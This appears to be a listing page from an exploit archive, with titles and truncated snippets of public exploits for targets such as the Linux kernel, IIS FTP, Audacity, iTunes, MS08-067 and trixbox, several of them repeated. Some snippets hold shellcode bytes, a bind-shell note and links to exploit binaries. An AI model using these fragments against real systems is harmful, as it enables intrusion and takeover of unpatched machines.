Linux Kernel 2.6.19 (x86x64) - udp_sendmsg Local Privilege Escalation (2)

Linux Kernel 2.6.19 x86x64 - udpsendmsg Local Privilege Escalation 2 / second verse, same as the first CVE-2009-2698 udpsendmsg, x86/x64 Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at NULL and finding it executed This exploit is a bit more nuanced and thoughtful ; use...

Microsoft IIS 5.0 FTP Server (Windows 2000 SP4) - Remote Stack Overflow

!/usr/bin/perl IIS 5.0 FTP Server / Remote SYSTEM exploit Win2k SP4 targets bug found & exploited by Kingcope, kcope2googlemail.com Affects IIS6 with stack cookie protection Modded by muts, additional egghunter added for secondary larger payload Might take a minute or two for the egg to be found...

Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit (win2k sp4)

Exploit for windows platform in category remote exploits ====================================================================== Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit win2k sp4 ====================================================================== !/usr/bin/perl IIS 5.0 FTP...

Media Jukebox 8 Buffer Overflow

!/usr/bin/python Media Jukebox 8 .pls Universal Local Buffer Exploit SEH Author: mrme Download: http://download.chip.eu/en/Media-Jukebox-8.0.40076134.html Note: we needed a header to trigger this one ; Tested on: Wind0ws XP and Vist@ Greetz: offensive-security, I tried harder : msf exploithandler...

Media Jukebox 8 (.pls) Universal Local Buffer Exploit (SEH)

Exploit for unknown platform in category local exploits =========================================================== Media Jukebox 8 .pls Universal Local Buffer Exploit SEH =========================================================== !/usr/bin/python Media Jukebox 8 .pls Universal Local Buffer...

Audacity 1.2 Buffer Overflow

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

Audacity 1.2 - .gro Universal Buffer Overflow (Egghunter)

Audacity 1.2 - .gro Universal Buffer Overflow Egghunter !/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"...

Audacity 1.2 - '.gro' Universal Buffer Overflow (Egghunter)

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

LinkLogger 2.4.10.15 - 'syslog' Denial of Service

!/usr/bin/perl LinkLogger 2.4.10.15 syslog DoS Tested against 2.4.10.15 Coded by Mike Cyr, aka h00die mcyr2 at csc dotcom Notes: 1. Based on code from http://www.pythonprasanna.com/Papers%20and%20Articles/Sockets/udpspoofpl.txt 2. The exact amount of packets to overwhelm the program and shut down...

Apple iTunes 8.1.1.10 Buffer Overflow Exploit

!/usr/bin/python Apple iTunes 8.1.1.10 itms/itcp BOF Windows Exploit www.offensive-security.com/blog/vulndev/itunes-exploitation-case-study/ Matteo Memelli | ryujin A-T offensive-security.com Spaghetti & Pwnsauce - 06/10/2009 CVE-2009-0950 http://dvlabs.tippingpoint.com/advisory/TPTI-09-03...

Apple iTunes 8.1.1.10 (Windows) - 'itms/itcp' Remote Buffer Overflow

!/usr/bin/python Apple iTunes 8.1.1.10 itms/itcp BOF Windows Exploit www.offensive-security.com/blog/vulndev/itunes-exploitation-case-study/ Matteo Memelli | ryujin A-T offensive-security.com Spaghetti & Pwnsauce - 06/10/2009 CVE-2009-0950 http://dvlabs.tippingpoint.com/advisory/TPTI-09-03...

Belkin BullDog Plus - UPS-Service Buffer Overflow

Belkin BullDog Plus - UPS-Service Buffer Overflow Belkin BullDog Plus UPS-Service Buffer Overflow Exploit Tested on Windows XP SP3 JMP ESP from user32.dll, 0x7E429353 Shellcode is bind 4444 from Metasploit nc host port belkin-buldog-exploit Thats all folks!...

Microsoft Internet Explorer Vista XML Overflow

// ksOSe 12/10/2008 // Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386 // Heap spray address adjusted for Vista - muts / offensive-security.com // http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html //...

BitDefender - Module pdf.xmd Infinite Loop Denial of Service (PoC)

BitDefender - Module pdf.xmd Infinite Loop Denial of Service PoC Deny Of Service and infinite loop in BitDefender module pdf.xmd / ProTeuS @ cih.ms / tested on pdf.xmd BitDefender's pdf engine by Alexandru Matei 0.1,Oct 8 2008, CRC32=A393F805 and on pdf.xmd last update by the moment of publicatio...

Microsoft Windows Server 20002003 - Code Execution (MS08-067)

Microsoft Windows Server 20002003 - Code Execution MS08-067 !/usr/bin/env python MS08-067 Exploit by Debasis Mohanty aka Tr0y/nopsled www.hackingspirits.com www.coffeeandsecurity.com Email: d3basis.m0hanty @ gmail.com E-DB Note: Exploit Update...

Adobe Reader - util.printf() JavaScript Function Stack Overflow (1)

Adobe Reader - util.printf JavaScript Function Stack Overflow 1 Adobe Reader 'util.printf' JavaScript Function Stack Buffer Overflow Exploit author: Elazar https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/6994.pdf 2008-APSB08-19.pdf milw0rm.com 2008-11-05...

Microsoft Windows Server - Universal Code Execution (MS08-067)

Microsoft Windows Server - Universal Code Execution MS08-067 MS08-067 Exploit for CN by EMM exploit: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/6841.rar 2008-MS08-067.rar milw0rm.com 2008-10-26...

WebBoard <= 2.0 Arbitrary SQL Question/Anwser Delete Vulnerability

No description provided by source. -+================================================================================+- -+ WebBoard = 2.0 Arbitrary SQL Question/Anwser Delete Vulnerability +- -+================================================================================+- Discovered By:...

Fonality trixbox 2.6.1 - langChoice Remote Code Execution (Python)

Fonality trixbox 2.6.1 - langChoice Remote Code Execution Python !/usr/bin/python TrixBox 2.6.1 langChoice remote root exploit muts from offensive-security.com All credits to Jean-Michel BESNARD Same same, but different. http://www.offensive-security.com/0day/trixbox.py.txt id uid=0root gid=0root...

trixbox 2.6.1 (langChoice) Remote Root Exploit (py)

Exploit for linux platform in category remote exploits =================================================== trixbox 2.6.1 langChoice Remote Root Exploit py =================================================== !/usr/bin/python TrixBox 2.6.1 langChoice remote root exploit muts from...